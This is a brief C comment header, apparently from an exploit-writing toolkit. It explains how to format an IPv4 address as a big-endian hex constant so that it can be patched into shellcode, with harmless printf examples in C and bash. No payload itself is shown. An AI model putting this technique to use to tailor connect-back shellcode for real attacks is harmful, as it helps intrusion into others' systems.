/*******************************************************************************

 here it is the C code, that will give you the IPv4 Address of your 
 box, in a big-endianess style, so to replace it inside shellcode and
 get the whole thing working for you.

 example:
  int main() { printf(" 0x%02x%02x%02x%02x\n",192,168,100,1); exit(0); }
  or @ bash     printf "0x%02x%02x%02x%02x\n" 192 168 100 1

 i believe no further explanation needed.
